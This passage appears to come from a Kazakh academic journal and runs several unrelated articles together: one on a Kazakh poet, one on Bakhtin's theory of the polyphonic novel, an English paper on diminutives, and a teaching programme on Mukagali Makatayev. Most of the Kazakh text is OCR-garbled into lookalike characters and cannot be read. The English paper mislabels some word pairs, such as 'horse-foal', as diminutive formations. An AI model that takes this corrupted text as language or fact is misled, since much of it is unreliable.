buikke KeTepinyiHe o3iHAIK bikNanbl 60nabl. MeHiH Tafrablpbim KbiTalabiH «MaaeHueT 30p
TOHKepICi» AereH anmarambin 3amaHfa Typa Kenai» aenai. "opKeH akbliH efre Kene KaafaHaa
anaplHaH WblFap TybIC TyFaHbl O0AMaraHabIKTaH, KeKleTaya yil »Kblagan WonaHAbIK KYMbICKaA
werineni. Kpitangarbl «eHbekneH Kanta Topbueney» mepsimiH ogaH api cosbin, 1969-1972
XblNOap apanbifbiHaa KekweTtay o6AbiCbl, Ya/1MXaHOB ayaaHbl «3010Tas HWBa» COBXO3bIHbIH,
«KasaHkan» OeniMmlleciHae afa LWOMaHHbiH, KemeKuwici 6onbin, 720 cay/blKTblH, COHbIHAA
cannakTaablkK «Kon Bafbin Kyp AereHwe» AeNTiH SMrifi eneHi con Kesae xasblafaH eai. On Kow
aa Kypin, «Koin 6arbin Kyp aAereHwe, On Barbin Kyp AeCeHLi» Aen eneHAeTin aranapbiHa xaT
*azaapl. AKbIHAbI AnmaTblaasbl 9461 opTa KaTblpKkamaabl. KyllaK Kas Kapcbl anapl. TanaHTbIH
TaHW Binai. KiTabblHHbIH, WbIFYbIHA KOMeKTecTi. Ka3aKTbiH, KepHeKTi Kanamrepaepi M.onimbaes,
K.Mbip3anm, ©.Kekinbaes, T.Mongaranmes, C.*KnueHbaeBTap aKblH LbIFAaPMalLbIabIFbl Typassbi
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MaKCbl NiKipAepiH Xasbin, akblHfa pyxaHW Kongay 6ingipai. KasaKTblH Y/IKEH aKblHbl TemipxaH
MepeTtbek «KapKeH beaeluynbl-OyriHri Kasak No3asmacbiHAafbl eH 6enceHai WoKTbIFbl OUiK, OPHbI
6epik, caycakneH caHan anapablKTal caHaTTafbl akblHAAPAbIH Oipi»[4] aen 6afa bepeni.

opKkeH beaeLlTiH N033MACkIHAAFbI aHCAY CapblHAAPbI — OHbIH, *KeKe 6acbIHbIH, FaHa eMec,
BYKIiN Kazak pyxaHWATbIHbIH, cafbliHbiWbl. On TyFaH Kepdi, alblp Tayabl, Ka3aKTblH, KeH, AanacbiH
bIpFa KOCTbl. OHbIH, XbIpapblHAAFbl MYH — MKEHINTEHHIH emec, a3aTTbiKKa YMTbIAFaH aHHbIH,
MYHbI. O/ CaFbIHbILLbIH NO33MAFa alHaNAbIPAbI, a7 NO33UACHI OHbl MIHTINIK eTTi. "KapKeH No33MACsHI
— YATTbIK PYXTbIH CUMBOJIbI, TyFaH »epre aereH maxabbatTbiH, epKiHAIKKe AereH KyLWTapablKTbIH,
MBH[iNIK KepiHici. AKbIH "apKeH e3iHiH, bip cyxbaTbiHaa: «Erep meH cypeTwi 601cam, KyH acTbiHAA
Helram yMbIKTan »KaTKaH ackap Taybl *aHe anbic bip Kanaga benmeciHe Kamanbin, 61€H *Ka3bin
OTbIpfaH aKblHAbI Kafasfa Tycipep edim. COCblH 0N TYybIHAbIMHbIH, aTbiH «CafbiHbll ham
anfbl3AblK» Aen atap edim. OTTeH, CYPEeTLLi eMecniH» Aen anTKaH eKeH.

MopKeH begelll Kaszak MO33UMACbIHbIH, Ka3ak, PYXaHWATbIHbIH,  KOPMbIHbIHA MO OJIXKa
CaNfaH YAT aKplHbl PETiHAE Ka3ak 24ebueTi TapuxbiHAa eCiMi anTbiH apinTepMeH *a3blaabl. OHbIH,
aHcaybl — OYKin Kasak AanacbiHbiH aHcaybl. OHbIH, JayCbl — €PKIHAIKTI aHcaraH Kewneni pyxTbiH,
Aaycbl. On 3 TafAblpblH KblpFa alMHaAAbIPAbI, af *blPbl — KA3aKTbIH, *KYPEriHAe MaH[i *KacanTbiH
Mypa 60/bIN Kanabl.
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NONNDOHUANBIK POMAHOAPABIH
3EPTTENYI

HybaHaeBa HKa3nMpa AMUPIKaHKpI3bI
M.BTemicoB aTbiHAafbl baTbiC Ka3aKCcTaH YHUBEPCUTETIHIH, MAarmcTpaHTbl, Ka3aKCcTaH,
Opan

A STUDY OF POLYPHONIC NOVELS
Zhubanaeva Zhazira Amirzhanovna
Is a undergraduate student of M.utemisov West Kazakhstan University, Kazakhstan, Uralsk

AHIATMA

Makanaaa NONNDOHUANBIK, POMaHAAPAbIH, HacTaybl, TapuXbl, 3epTTenyi,
o4ebueTTaHyWblNap apacbiHAa Jamybl Typanbl auTbinfaH. M.M. BaxTuHHiH [JocToeBcKuiA
WblFapManapbliHa, COHbIH, ilWliHAEe aBTOP MEH KeMinkep OMbiHa, LWblFapMaHblH, NOANPOHUANBIK,
epeKkuweniriHe bepreH Hafackl TanKblnaHabl. COHbIMEH KaTap, OHbIH NOAMGOHUANBIK TEOPUACHI
TyAblpFaH Aay, OHblH cebenTtepiHe Gafa GepinreH. MNMoAMPOHUANLIK TEOPUSAHbIH, eHyiHiH TepT
Ke3eHiHe HaKTbl Mbicangap kentipinreH. A.B. lyHayapckmin, O.N.Ymkescknin, A.C. luxades, B.H.
Tonopos, M./1. Tacnapos, O.A. boraaHoBa cekingi fanbiMmaapablH, NoAUPOHUANBIK TeopUa Typasbl
Ke3KapacTapbl *KMHaAKTaNFaH.

ANNOTATION

The article describes the origin, history, study, and development of polyphonic novels among
literary critics. M. M. Bakhtin's assessment of Dostoevsky's works, including the thoughts of the
author and the hero, and the polyphonic specificity of the work were discussed. In addition, the
controversy caused by his polyphonic theory was appreciated for its reasons. Specific examples of
the four stages of penetration of the polyphonic theory are given. The views of such scientists as
A.V. Lunacharsky, D. I. Chizhevsky, D. S. Likhachev, V. N. Toporov, M. L. Gasparov, O. A. Bogdanova
on the polyphonic theory are summarized.

Tipek ce3aep: NoNNPoHMA TEOPUACHI, YANECIMAINIK, TapUX, Ke3eHaep, Fanbimaap.
Keywords: theory of polyphony, harmony, history, periods, scientists.

My3blKaiblK MafblHaga NoAMPOHMAHBLI eKi Hemece odaH aa Ken benek, e3apa Tayescis3
(Bipak ynnecTipinreH) ayesai »kongapabiH 6ip yakbITTa OpblHAANYbl HOTUMKECIHAE aca/iFaH, Ken
[aybICTapAaH TypaTblH My3blka Aen TyciHyre 6onaabl [1]. MoAnPoHUANbIK NPUHUMNTEP My3blKaaa
aHbIK, »KaHe KyWneni Typae wofbipnanfad. Onapabl akbl1-OM apeKeTiHe KosdaHa oTbipbin, 6i3
«ambeban» NpuHUMN peTiHAe NOANPOHMA Typasabl OiNIMHIH LIEKapacblH KeHenTemis. ¥fbim
Me3TiNJiK }KaHe CTUAbAIK acneKkTinepaeH Toic ambeban marbiHara ne 6onaapl. OHepaiH anemaiKk
TOPTINTI, OHbIH, CbIPTKbI *KaHE ilIKi KePiHICTEPIH XaHe onapbiH e3apa 6alnaHbICbiH KepceTeTiHiH
eckepcek, nNonndoHUANbIK onnay KyObiabiCbl XahaHablK cunaTka ne bonagpl. 9aebueTTaHyaa
«NONNPOHMA» TepMMHIH M.BaxTnH pomaHaafrbl AManormamai 6ingipy vyiliH eHrisce, KeliHHeH
backa KaHpnapfa ga KeHele TycTi. Mysbikaga nonndboHus apTypai TembpnepAiH, Abibbic
KabaTTapblHbIH, aHPAAPAblH, CTUAbAepAiH, T.6 yinecimai 6onbin TabblnaTbiHbl  CUAKTHI,
aaebueTTe Ae 6yn KyObINbIC TEK KeNinKepaepadiH Ananorsl apKbl/ibl faHa KepiHic bepmenai. On ap
TYPNi MafblHaNbIK, CTUNbAIK, aHPAbIK CananapdblH 63apa bainaHbicbiHAa Oip LWbIFapMaHbIH,
aAcblHAA ©3 ©pHeKTepiH Tabagbl. My3blKanblK KOHTPMNYHKT CUAKTbI, a4ebuetre MaTiHA|
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YMbIMAACTbIPYAbIH NOAMbOHUANBIK oaicTepi 6ap. Anaaa anebun KoFam Oyn TeopUAHbI, TEPMUHAI
6ipaeH kabbingamaabl. OHbIH ©3iHAIK 3epTTeny Tapuxbl bap.

MNonndorHma Teopuacs! KaHe M.M.BaxTUHHIH NOANDOHUANBIK pOMaHbl XX Facbipafbl eH,
anrini anebu xkaHe punocoduanbik TeopusanapabiH 6ipi 6onbin Tabblnaapl »aHe on bykin anemaeri
fanbiMAap apacbiHAa KeH TaHbiMan. byn M.BaxTMHHIH 1929 Kbinbl JIeHWHrapATa *apuanaHfaH
«[10CTOEBCKMI  LblFapMallbl/bIFbIHbIH, Macenenepi» MoHorpaduacbiHAa anfawl peT alTKaH
TeopuaAcbkl. baxTnH aTKaHaan, JocToeBcKMndiH, 6apabik pomaHaapbiHbiH, 1866 »Kbl/bl LWbIKKAH
anrini "KblAMbIC NeH »a3a" pomaHbiHaH COHFbl "AralibiHabl KapamasoBTap" pomaHbiHa AeliH, eTe
MaHbI3abl Hip KypblibIMAbIK epeKweniri 6ap ekeH. [locToeBckMMAiH, Gap/blK pomaHAapbiHAA
aBTOPAbIH, AayCbl KeNiNKepaiH yHIMeH TeH, AeHrenae. Tek AaybiC KaHa eMec, aBTOPAbIH caHackl Aa
TeH aapexkene. OHbIH KeNinkepaepi e3aepiHe XKaHe alHanacbiHAafblNapFa, TUICiHLIE, OKbIPMaHFa
©3/1epiHiH, caHacblHA €eHri3in anfaH KaHaal ga 6ip maesHbl alTadbl. ABTOp Oyn maeara Kui
TyCiHikTeme Bepmenai. JocToeBcKMn MyHbl coHay 1840 XbinAapabliH, aafblHAa afacbliHa YKa3faH
XaTblHAQ TYXKblpbiMAafaHAalM, aBTOP Kepi LWeriHin, e3iHiH «aBTopAblK 6eTiH» KepceTnenai,
pOMaH/Aa aBTOp oMbl Benrini 6ip MaH-KanablH, CTUAbAIH, OHbIH Kelbip 6acka KOMMNO3ULMANbIK,
3NM30ATapPbIHbIH apPTbIHA *acblpblinaabl. JJOCTOEBCKMN pOMaHAaPbIHbIH, MOANPOHUACHI BaxTUHHIH,
apKacblHA@ 2NeMiK FblNbiMAa 6Te YAKEH Pe30HaHC TyAblpAbl, 6MTKeHI, bip *KafblHaH, ap TypAi
ennepaiH, KentereH 3epTreyLlinepi meH fanbimaapbl baxTWUHHIH, coHblHa epin, JOoCTOeBCKMNAIH,
pPOMaHAApPbl OCbIHAAM NONNPOHUAFA Me, epeKLLenikke ne, an backa aBTopaap, Mbicanbl, TONCTOMN,
BaxTuH Hemece TypreHeB Hemece B6acKka POMaHMCTep TYPFbICbIHAH OPbICTap MeH BaTbICTbIKTap Oy
nonndboHMAFa ne emec AereH TYXKbipbIMAbl arTa 6acTaabl. EKiHLWI afblHaH, ap TypAi fanbimaap,
acipece ¢ppaHLy3aap MyHbl MNaldanaHbin, VIKEH XeTicTikTepre Ko skeTkizai. Onap XX FacbipAbiH,
60-80 »blngapbiHaa baxTMH MNOAMDOHUACBIHLIH, OyN TeopuAcbiH MadeHMeTTiH, backa [aa
acnekTinepiH cunaTTay YWiH KondaHa 6acTtaabl. [mManor MAeschbl, eKiXKaKTbl KapblM-KaTbiHaC
nAaenAchl, eki cybbeKT, eki caHa apacblHAAafbl ©3apa sapeKeTTecy cypaHbicka ne bonapl [2. 11-22].

orapblaa alTKaHbIMbI3Aal BaxTUHHIH, NOAMGOHMUANBIK POMaHAaPbl Typasibl TEOPUACHIH
20ebun Kaybim bBipaeH Kabbingamazbl. OHbIH  FblbIMM - MypacbiHaa @.M.[locToeBcKMAAiH
NONMDOHMANBIK POMaHbIHbIH,  KOHUENUMACL eH npobnemansik opbiHAAPAbIH, Oipi  6oabin
Tabblnazbl. BaxTUHHIH, KWMHaAKTanfaH LWblFapmanapbiHbiH 6ac kommeHTaTopbl C.[.Bovapos
«[10CTOEBCKMUI LbIFapMallibl/bIFbIHbIH, Macenenepi» KitabbiHblH, BipiHLWIi GacbiAbiMbiH Kabbinaay
MeH Oafanay MblcanbiHaa fanbiMaapablH  [1OCTOEBCKMIA  POMaHbIHbIH,  KOHUENUMACHIH
NoNMPOHMANBIK Aen KabblnaamanTbiHbIH aTKaH 6onaTbiH. BaxTUHHIH ©3i KiTanTblH, KEHEeMNTINTeH
eKiHWi 6acblNbiMblHa WOy XacafaHaa, 1959 »binfbl «JOCTOEBCKUNAIH, LblFApManapb» aTTbl
MaHbI3abl KUHAKTA aBTOPJIAPAbIH, Kenwiniri NoAnPoHMANLIK POMaH TYCIHINIMeH KenicnenTiHiH
MoOMbIHAayFa Maxkbyp 6onfaH. Opbic saebueTiHae MNoAMGOHUANBIK POMaHAAP TEOPUACHIH
Kabblnaayabl TOPT KeseHre 6enin KapacTblipadbl.
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No | KeseH,

1 |1929 xbinpgaH bactan
1950 KblNOapAabiH,
OopTa TyCbl

BaxTWHHIH KiTabblHa eH MaHbI3abl »KayanTapabiH, Oipi- A.B.
JlyHavapckminaeH 6onabl.  A.B.  JlyHayapckuii  KiTanTbiH
JocToeBCKMNAIH, «KOM AaybICTbIbIFbIHY TaNAayblH KOFapbl
barananabl, 6ipak coHbimeH bipre on baxTMHmeH bGipkaTtap
TapmakTap 6oMbIHLLIA Kenicnena,.

JlyHayapcKkMinaiH, makanacbiHaH 6acka, BbaxTWUHHIH, KiTabblHa
H.A. Bepkosckuin (1929), AJ1. boem (1929), NM.M. buunnnm
(1930), P.B. MnetHes (1931). B./1. Komaposuy (1934) cekinai
3epTTeylinepaiH, Tanaaynapsl wWeiFa 6actagbl. 3epTreyuwinep
BaxTUHHIH, NONMDOHUANBIK ~ TEOPUACHIHbIH, bipkaTap
MacenesnepiHe cbiH KeTepai: [OCTOeBCKMN pPOMaHbIHAAfbI
Keninkepnep AaybICbiHbIH, Tayencisairi maceneciHe, baxTUHHIH,
NONNPOHMANBIK WAEACbIHbIH, ©3iHAIK epeklenirine, baxTuH
NONMDOHMANBIK ~ TEOPUACbIHbIH,  KOAAaHy  MYMKiHAriHe
KaTbICTbl.

byn keseHae baxTMH TeopuAckl KabbinaaHbaabl.

2 | 1950 Kbl AapAabiH,
anfbl MeH 1980
Xblaaap

Kenbip spebuetwinep Kapcbiablk bingipyai anfacTbipabl.
COHbIH, iwiHae, .M. ®puanaHaep JocToeBcKuin
POMaH/AApPbIHAAFbl  KEKe KeninkepnepaiH AaybiCTapbiHbIH,
TOYeNcisairi  Tek  «CanblCTbIPManbl  KaHE  LWbIFAPMaHbIH,
NAEANbIK-KOPKEMIK TYTaCTbIfblH KOFaNTyFa aKeNMenai» aen
ceHaipeai. ABTOP OMbl KacblpblIMafaHAbIfbliH, KEPICiHLIE aHbIK
H6alKanaTblHAbIFbIH aNTThI.

AB. YuyepuH «JOCTOEBCKMN poOMaHAapbIiHAAFbl Tingdix,
MO3TMKA/bIK KYPbIAbIMbI» aTTbl MakanacblHAa aBTOP OMbIHbIH,
OHbIH, POMaHAapbIHAAFbl WeLYLWi MaHbI3bl Typaabl MAEAHbI
Kopfaapl. On  MOHONOITA, [AManorta, «Kemn JaybicTa»
aBTOPAbIH, PeiH KepceTyre Thipbicaabl.

1963 blnbl BaxTnHHIH, JlocTOEBCKUI Typanbl KiTabbl KalTa
Hacbinbin WbIKTHI.

60-70 Kblngapbl.  BaxTUHHIH ~ NOAMPOHMANBIK ~ POMaH
TEOPMACLIHA KbI3bIFyLWbIIbIK apTTbl. OHbIH, 6afacbiH 6i3 Keneci

aTaKThbl fanbIMAapAablH, eHbeKTepiHeH Kepemis.
AWM. Yumxesckuin, .C. Ninxades, B.H. Tonopos, M.J1. lacnapos.
3 [ 1990-2010 kbingap | XX FacbIpAablH, COHFbl OHXbINAbIFbIHAA opsbIC

dapaiblfbl

[OCTOEBCKMIMTAHYbIHAA 3iCHAMaNbIK NapaAaurMmaHbiH, e3repyi
b6alikanabl. bipkaTap fbiabiMM  eHOEKTepaiH, aTaynapbiHa
Kapan, 1990 *bingapbl NOAMGOHMANBIK LiblFAapManap Typaibl
Ke3Kkapac e3repai AereH KOpbITblHAbI Kacayfa ©Oonasbl.
[ocToeBCKMIA 3epTTeyLliNepiH *Ka3yLlWblHbIH, YATTbIK XaHE AiHK
Tamblpbl KbI3blKTblpadbl. JJOCTOEBCKMI WblFapMaLLblAblFbIHbIH,
AiHW, acipece npaBOCnaBMeNiK KOHTEKCI LWblFapmMmanapabiH,
YKeTeKLi BEKTOPbIHA alnHanaabl.

BaxTWMHHIH aBTOP MeH KelinkepaepaiH, CeMaHTUKaNbIK,
no3mumanapbliHbiH, Tyberenni TeHAiri Typanbl MAEACHI YAKEH
nay Tyaplpyaa. baxTmHHIH JOCTOEBCKMIA Typanbl KiTabblH aiTa
oTbipbin, H.®. bynaHosa J[locToeBCKUIAIH, CO3iHIH,
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NONIMPOHMANBIK KOPIHICI elKaHaanm KYMaH TyablPManTbIHbIH
artan eTTi.

«cnoseapb M camoaHann3 repoa B pomaHax JloctaeBckoro»
MoHorpadpuacsiHaa A.b. KpuHMubIH: «ABTOpPAbIH, NO3MLMACI
TyTac Oip KepKem LWblfapmagaH Typadbl, ON Keninkepnepaix,
bapnblK benHenepiH maeanapbiMeH 6ipikTipeadi, COHAbIKTAH
aBTOPAbIH, NO3MLMACHI MyAZem HackKa, YKOFapbl
KOMMYHWKATUBTI AeHrenae» aereH b6ara bepen,.

4 | COHFbl OHXbINAbIK, COHFbl OHXbINAbIKTA BaxTWMHHIH NOAMPOHUA KOHLEMUMACH!
Kasipri OipkaTap a4ebueTwi fanbiMaapablH, 3epTTeyaepiHe
Heriz3 6onabl. 3epTTeywinepaiH, KbI3blFyWblblFbl  BaxTuH
naeanapbiHblH,  6acTtaynapblH  i34ey  KaHe  BaxXTWMHHIH
NOAMDOHMA  TYXKbIPbIMAAMACbIHbIH, ~ KanbiNTacyblH Tanaay
6onbin  Tabbinagbl. O.A. borgaHoBa ©3 eHbekTepiHae
JocToeBCKMNAIH FblbIM PETIHAE KaabiNTacy NMPOLECIH *KaHe
OfaH BaxTWHHIH, ~ KaTbiCyblH  Tanaanasbl, BaxTUHHIH,
NONNDOHMANBIK POMaH TEOPUACbIH KypyablH duaocoduanbik
oHe 94e6u anfbl WapTTapbiH HaKTblIanabl [3].

Ne 1-kecme. «[lonugoHuUs meopuscsiHbIH Peceli a0ebemmaHywblaapel apaceiHoa
Kabbl10aHYbI»

NonndoHma maceneciH A.B.JlyHayapckunin «[1oCTOEBCKMIAIH, «NOANGOHMACHI» Typasbl»
MaKasiacblHAa 6Te alKblH XaHe KeH Typae Tanaanab.

Keneci kesekte JlyHauyapckuit [oCTOeBCKMIAIH, NOANPOHMA canacbiHAarbl i3awwapnapsl
Typanbl maceneHi ketepeai. On Wekcnnp meH banb3akTbl OCbIHAAW i3alWlapnap Aen ecentenmi.
M.BaxTnH apamanbl nonndoHusFa »KaTkpidbaca aa, SlyHadapckuii Wekcnunpaid apamanapbiH
nonndoHmara Tonbl aen barananabl.

M.M. BaxTUHHIH nonndoHMA TeopmACkl TaparaH caibiH KblTallaa nonndoHma acnekTiciHae
ApamarnblK LblFapManapabl 3epTTeyre apHanfaH KenTtereH eHbekTep nanaa 6onabl. Ocobl
eHbeKTepaiH iwiHoe eH ekinai 3eptreywinep BaHn AousuH, ®aH WTUH koHe Bbai LinHxya
MaKananapbl. CoHbIMeH, 3epTTeyli BaH AouadmH «MNonndoHmnam xaHe LLlekcnnp» makanacbiHAa
BaxTnHHiH «[dpama e3iHiH, TaburaTbl OOMbIHWA LWbIHAMbI NOAMGOHUAFA »KAT» AereH nikipiHe
KapcblablK Oinaipeai. LekcnupaiH, Apamansik WbiFapmanapblH baxTMHHIH NOANMPOHMA TEOPUACHI
TYPFbICbIHAH OKbIN, LLlekcnnp apamaTypruscbiHa Ken AaybICTblAbIK TOH AereH KOPbITbIHAbIFA Kesfi
[4].

An Ka3ak apebueTiHae nonMdoHUANBIK pOMaHAAPAbIH KepeMeT yarinepiH b.TinereHoBTbIH,
«CeKceH anTblHLLbl XbIA» aTTbl WblFapmacbiHaH, . KopfacbekTiH «YnninaeriHeH» »KaHe »Kac
Kanamrep ©. banbonabiH, «MyTblAFaH» POMaHbiHaH BalKalimbi3.

3epTTent Kene, NOAMGOHUANLIK pPoMaHaap OoMbiHWA 3epTTeynepaiH, Kebi BaxTUHHIH,
NONNDOHMANBIK POMAH TEOPUACBIHbIH MaHblHAa eKeHiH 6alKkaablK. [1oCTOeBCKMIAAIH Ken AaybICTbl
POMaHbIHAAFbl aBTOPAbIH, POAI Typanbl macene TeHiperiHae aaynap ani ae 6ap. [ereHmen,
BaxXTUHHIH NOAMbOHMA TeopPUAChI BYTiHr KyHre AeniH ©3 KYHAbINbIFbIH KOWFaH KOK. KenTtereH
FbIbIMW eHOEKTEep A2/1 OCbl TEOPUAHbLIH, epexenepiHe HerizaenreH. KentereH 3epTTeyuinep
BaxTUHHIH, NOAMGOHMA TYXKbIPbIMAAMACbIHA ©3 KaPCbIIbIKTAPbIH OinaipreHimeH, OHbIH, Kasipri
20ebueTTaHy VIIiH MaHbI3AbINbIFbIH KOFapbl Bafanamay MymKiH emec. CoHbIMeH KaTap, M.M.
BaxTuH — ®.M. [locTeBCKMIM TBOPYECTBOCHIH TEPEH, TYCiHreH aBTopaapabiH, Bipi [5].
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The Role and Significance of Diminutives in
the English Language
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Abstract: As language devices, diminutives can be used to express familiarity, fondness, smallness,
or even disdain. Their cultural and social subtleties are usually disregarded, despite the fact that
they are widely studied in relation to morphology and phonology. The formation, uses, and
importance of diminutives in the English language are examined in this thesis in a variety of
circumstances. It looks into how diminutives are created linguistically, how they are used in official
and informal speech, and how they affect communication between people.

This research intends to enhance comprehension of diminutives as a fundamental component of
English, both in written and spoken forms, and emphasizes their influence on language and society
by examining historical trends and modern usage.

Keywords: diminutives, English language, cultural subtleties, morphological construction

In English, lexical diminutives are formed through both lexical suffixes/ prefixes and words with
diminutive meanings (Bauer, 2003). Any word in the language that expresses the meaning of
diminutiveness or endearment is placed in front of another word (mainly, adjective + noun),
creating a lexical diminutive.

Morphological Construction of Diminutives

-let: Added to nouns to indicate a smaller version. For example, booklet, piglet, streamlet.

-y/-ie: Often added to nouns to create a more familiar or affectionate term. For example, doggy,
kitty, sweetie.

-ette/-ett: Added to nouns to indicate a smaller or less significant version. For example,
kitchenette, cigarette, novelette.

-kin: Added to nouns, often of Germanic origin, to indicate a smaller version. For example, lambkin,
manikin.

-ling: Added to nouns to indicate a young or small version. For example, duckling, gosling.

-mini-: Added to nouns to indicate a smaller version. For example, minibus, miniskirt.

-micro-: Added to nouns to indicate a very small version. For example, microscope, microchip.

In most cases, diminutives that determine a noun are used to make the main word appear smaller
than it actually is. The main word is always a noun, usually preceded by an adjective or a numeral,
which reduces the word in terms of size or quantity (Anderson, 2000).

Lexical Diminutives in Noun Phrases

In English: room - a small room, city - a small city, sugar - a little sugar

Lexical diminutives can be obtained by using the word young in front of nouns that denote a
person.

In English: a shepherd - a young shepherd, a man - a young man, a woman - a young woman

In English, certain methods are used to express the lexical meaning of a word in order to further
reduce the object or some of its qualities, to reduce it, or to express a feeling of affection or love.
Diminutive, abbreviated forms act as a word-forming device used to express such meanings. In
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many languages, the meaning of diminutive is expressed through affixation. In English, diminutives
can also be created as constructions consisting of prefixes, suffixes, as well as word morphemes
(Givon, 2001). When talking to young children and expressing excessive politeness, affection and
closeness to adults, shortened forms of their names and pet names are used (Dasher et.al.2002).
Eagle-eaglet

Horse-foal

Edward-Ed-Eddie

Richard-Rich-Rick

Sheep-lambkin

Goose-gosling

Diminutives found in adjectives:

In this case, the sign and quality of the thing are reduced, reduced. As in the noun, synthetic (via
lexical morphemes) and analytical (via word morphemes) methods are used to create diminutives
in the adjective (Plag, 2003).

a) lexeme diminutives that are readily available in the language: small, little, few, less, young, weak,
tiny, dear, etc.

b) diminutives formed through word morphemes (analytically):

Adjectives are used in front of nouns in terms of size and quality - a young lady, a little girl, a small
table, a tiny drop, etc.

Very tiny, much smaller, more less are used in front of adjectives that indicate quantity.
Conclusion: In general, diminutives are used in Formal and Informal Speech, In Child Language
Acquisition, In Sociolinguistic Contexts (Romaine, 2000; Dasher et.al.2002). In communication,
diminutives can be used to convey a variety of ideas, such as politeness, social distance, and
smallness and tenderness. They are crucial to the written and spoken forms of English. Diminutive
usage affects how speakers interact with one another and how language is used to convey
different social positions. This thesis has shown how diminutives continue to influence English
communication by analyzing their historical evolution and contemporary usage.
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MyKafanuTtaHy (ABTopAbIK 6afaapaamaHsbl
ToXKipnbeae KoNaaHy *KaHe 3epTTey
HaTUXKenepi)

Opasbaesa 3aype MUpMM¥KaHOBHa

«KbI3blopaa 06abICbIHbIH Hinim HackapmacbiHbIH «Ka3anbl ayaaHbl 6onbiHWa 6inim
H6enimiHiH «b.K. MepreHbaes aTbiHAafbl N0 226 mekten-rumHasuns» KMM. Kasak mini
meH a0ebuemi naHi MyFanimi

Angatna. byn makanana Kasak No3a3vAcbiHbIH, My36anafbl aTaHFaH MyKafanu MakaTtaes
WblIFapMallblNblfbiH TEPEHAETIN OKbITyFa OafbiTTanfaH aBTOPAbIK HafaapnamaHbiH Taxipnbene
KONA@HbINYbl MEH HaTWxKenepi cunatranaabl. bafoapnama okylwbinapabiH aaebueTke aereH
KbI3bIFYLLbIMbIFbIH @apPTTbIPYFa, LbIFAPMALLbIALIK OnNay KabineTTtepiH AambiTyfa, YATTbIK PyXaHM
KYHAbINAbIKTapabl OoMblHA CiHipyre OafbiTTanfaH. MaKanaga 6OafaapnamanbiH  KypblibiMbl,
KONAaHbINAFaH 34ic-TacCingep, NPakTMKadarbl TUIMAINIT KaHe neJarorrepre apHaafaH YCbiHbICTap
KenTipineai.

TyniHai ce3nep: MyKkafanu MakaTtaes, aBTOP/bIK baraapaama, NO33uaHbI OKbITY, aaebueT,
KYH/bI/bIK, LbIFaPMaLLbI/bIK,.

Kipicne

Ka3ak a4ebueTiHiH anblObl, KOPHEKTI akbiH MyKarann Makataes — e/ieHAepiMEH XablK KypPeriHeH
MOH[I/IIK OPbIH TanKaH, NMo33uaAHbl WblH MaHIHAE Xa/blk YHiHE aliHanabipa binreH gapa Ty/fa.
Kasipri 6inim 6epy »KyneciHae akblH MyPacbliH Xac yprnakka TepeH, api Kyneni Typae TaHbICTbIpY,
OHbIH, LbIFAapManapblH 3CTETUKAbIK OHE TaHbIMAbIK TYPFblAaH MEHrepTy aca MaHbI3abl
MiHAeTTepAiH, 6ipi 6onbin OoTblp. byn TypfblaaH anfaHaa, «MyKafanuTaHy» aTTbl aBTOP/bIK,
baroapnama OKyLIblNapAblH, pyxaHu anemiH 6anbiTbin, a4ebu LWblFapManapabl TePeH, TanaayFa
MYMKIiHAIK 6epea,.

MaKanaHblH, makcaTbl — « MyKarannTaHy» baraapaamacbiH opTa 6ifim 6epy npoueciHae eHrisyain,
9/iCTEMECIH VYCbIHY $KaHEe OHbIH, TUIMAINIriH Taxipnbeae ganengey. MiHaeTTepi: 6afaapaaMmaHbiH,
Ma3MyHbIH Tanaay, KONAaHbIAFaH aaic-Tacinaepai cunatray, Taxipnube OapbiCbiHAA anblHFaH
HOTUKeNnepai 3epaeney XoHe OHbl OKbITYy npoueciHe eHridy 6HoMbiHWa YCbiHbICTap 6epy.
KasakcTaHablk, 6inim Hepy KeHicTiriHae no33usaHbl OKbITyda Typ/i aBTOp/blK Oafaapnamanap
YCbIHbIIFAHbIMEH, HaKTbl 6ip aKblH LblfapMallblAblFblH TEPEHIPEK MEHrepTydi MaKkcaT eTKeH
»obanap xeTkinikcis. WeTengik agebuetraHy meH agebu 6inim 6epy cananapbiHga, Mbicasbl,
afblWbIH Tingi engepae 6enrini 6ip akblH WbIFapManapblH TepeH MeHrepTy Taxipubeci Ked,
TapanfaH. OcblfaH yKcac aAicTi KasaKk aaebueTiHe eHrisy — VYATTbIK a4ebueTTi 3amaHaym
nefarornKkanblk TananTapFa cat OKpITyAblH 6ip koAbl [1].

ogaicteme

«MyKaFanuTaHy» aBTOpP/bIK bafaapnamachkl 8-10-CbiHbIN OKyLUblIApblHA apHa/bIN XacanfaH.
Baraapnama anTtacbiHa 1 cafaT, 6ip OKy KbliblHa €CenTesnreH, Kannbl Kesnemi — 34 cafar.
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BafaapnamaHblH - 6acTbl  epekweniri — MyKafaanm  WbIFAPMaLLbIIbIFbIH - XPOHONOTUANDBIK,
TAKbIPbINTbIK KIHE MAEANbIK Ma3MyHAA XKyneni Typae 3epTreyre Herizgenyi.
bardapnama mepm Heeizei 6enimHeH mypadsl:
1. AKbIHHbIH @MipbasaHbl MEH LblFapMalLbIbIK *KOJbl;
2. JlnpuKanbik noasuackl (Taburat, MaxabbarT, aHa, TyFaH XKep TaKblpbIiNTapbl);
3. AzamaTTbIK KaHe dnocoPuaIbIK AMPUKAChI;
4. AKbIH N033MACbIHAAFLI YATTbIK MAEA MEH MAHTINIK KYHAbIAbIKTAP.
ddicmemernik macinoep:
% WHTepbencenpi apjictep (aebat, SWOT-Tanaay, «AKbIAAbIH anTbl Kaanafbl» aici);
»  LLbiFapMalubliibIK Tancbipmanap (en1eH a3y, pensik onbiHAApP, 3cce Ka3y);
» oba KymbICTapbl (aKblH ©MIpi MeH LWblFapMallblibifblHA apHanAFaH Mnpe3eHTauusnap,
HeNHEepONMKTEP, NO33MA KeLUTepiH YbIMAACTbIPY);
< Undpnbik Kypangapabl KongaHy (Padlet, Mentimeter, Canva, Google Jamboard).
Bafaapnamaza OKyWbIHbIH 3epTTeyLWinik KabineTiH apTTbipy YWiH « MyKafannm — emip KaHe eneH»
aTTbl WafblH 3epTTey »Kobackl XKyprisineani. 9p okylbl ©3iHe yHaraH bip eneHai TepeH Tanaan, OHbiH,
M3H-MaHbI3blH allibiN KepceTeai.
Mledazo2uKasnbiK YcmaHbIMOapbi:
OKyLWbl TYAFACbIH AAMBITY;
KyHAablNbIKKa BafbiTTanfaH 6inim 6epy;
[apanaHfaH »KaHe capanaHfaH OKbITY;
OKyLWbIHbI WbIFapPMaLLbIAbIK benceHginikke Tapty [2].

B3

B3

®,
0.0

R/
0.0

R/
0.0

R/
0.0

MpaKTuKaga KongaHy

